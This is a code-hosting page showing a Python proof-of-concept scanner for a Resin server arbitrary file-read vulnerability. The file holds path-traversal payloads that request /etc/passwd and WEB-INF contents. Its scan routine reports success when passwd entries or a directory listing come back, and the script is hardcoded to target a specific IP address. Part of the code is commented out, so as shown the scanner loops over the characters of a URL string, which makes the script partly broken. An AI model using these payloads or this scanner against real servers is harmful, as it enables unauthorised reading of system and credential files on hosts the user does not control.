2 Star 0 Fork 0

m3lon / pocs

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
restin_file.py 1.83 KB
一键复制 编辑 原始数据 按行查看 历史
m3lon 提交于 2021-12-07 19:04 . 增加grafana poc
# -*- coding:utf-8 -*-
"""
Resin远程任意文件读取漏洞
"""
#引入依赖库、包文件
import os
import sys
import urllib
import logging
import requests
#设置全局配置
logging.basicConfig(format="%(message)s",level=logging.INFO)
#定义全局变量和全局函数
payload1 = "/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd"
payload2 = "/resin-doc/examples/jndi-appconfig/test?inputFile=../../../../../../../../../../etc/passwd"
payload3 = "/ ..\\\\web-inf"
payloadList = [payload1,payload2,payload3]
# def getUrl(url):
# urList = []
# if url != None and isinstance(url,str):
# if url.find(":") >= 3:
# protocol = url.split(":")[0]+"://"
# hostname = url.split(":")[1].split("/")[2]
# for payload in payloadList:
# tUrl = protocol + hostname + payload
# urList.append(tUrl)
# enUrl = urllib.parse.quote(tUrl)
# urList.append(enUrl)
# else:
# pass
# return urList
class ResinScan:
def __init__(self,url):
self.tUrList = url
self.flag = ["root:x:0:0:root:/root","<h1>Directory of"]
def scan(self):
for url in self.tUrList:
try:
response = requests.get(url,timeout=3,verify=False)
for string in self.flag:
if response.content.find(string) >= 0:
return True
except Exception:
logging.info("[-] 扫描错误--错误原因:%s"%str(Exception))
return False
if __name__ == "__main__":
# try:
# url = sys.argv[1]
# except Exception:
# logging.info("[-] 没有找到目标站点")
# exit(0)
url = "http://111.160.6.90:10000"
scan = ResinScan(url)
if scan.scan():
logging.info("[+] 发现漏洞!")
1
https://gitee.com/m3lon/pocs.git
git@gitee.com:m3lon/pocs.git
m3lon
pocs
pocs
master

搜索帮助